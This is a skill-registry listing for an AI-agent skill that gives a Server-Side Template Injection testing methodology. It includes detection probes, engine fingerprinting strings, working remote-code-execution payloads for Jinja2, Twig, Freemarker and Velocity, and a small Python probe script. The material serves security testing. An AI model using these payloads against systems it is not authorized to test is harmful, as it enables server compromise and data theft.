# Ssti

> Server-Side Template Injection testing methodology Use when this capability is needed.

- Skill: `tomevault-io/ssti` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add tomevault-io/ssti`
- Raw SKILL.md: https://api.skillmd.com/api/skills/tomevault-io/ssti/raw
- Safety review: pending (external: skill-scanner PASS, skillspector PASS)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: tomevault-io (https://skillmd.com/u/tomevault-io)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/tomevault-io/ssti

---


# SSTI Testing Methodology

## Overview
SSTI occurs when user input is embedded directly into server-side templates, allowing code execution.

## Detection
```
${7*7}
{{7*7}}
#{7*7}
${{7*7}}
<%= 7*7 %>
{{= 7*7}}
```

If you see `49` in response, template injection likely exists.

## Template Engine Identification

### Jinja2/Twig
```
{{7*7}} → 49
{{config}} → Config object dump
```

### Freemarker
```
${7*7} → 49
<#assign x=7*7>${x}
```

### Velocity
```
#set($x = 7*7)$x
```

### Thymeleaf
```
[[${7*7}]]
```

### Pebble
```
{{7*7}}
```

## RCE Payloads

### Jinja2 (Python)
```python
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}
```

### Twig (PHP)
```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
```

### Freemarker (Java)
```
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
```

### Velocity (Java)
```
#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))#set($chr=$x.class.forName('java.lang.Character'))#set($str=$x.class.forName('java.lang.String'))#set($ex=$rt.getRuntime().exec('id'))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
```

## PoC Template
```python
import requests

def test_ssti(url, param):
    payloads = [
        ('{{7*7}}', '49'),
        ('${7*7}', '49'),
        ('#{7*7}', '49'),
    ]
    
    for payload, expected in payloads:
        r = requests.get(url, params={param: payload})
        if expected in r.text:
            print(f"[+] SSTI detected with: {payload}")
            return True
    return False
```

## Impact
- Remote Code Execution
- Server compromise
- Data theft

---
> Converted and distributed by [TomeVault](https://tomevault.io/claim/omkar-ukirde) — claim your Tome and manage your conversions.
<!-- tomevault:4.0:skill_md:2026-04-15 -->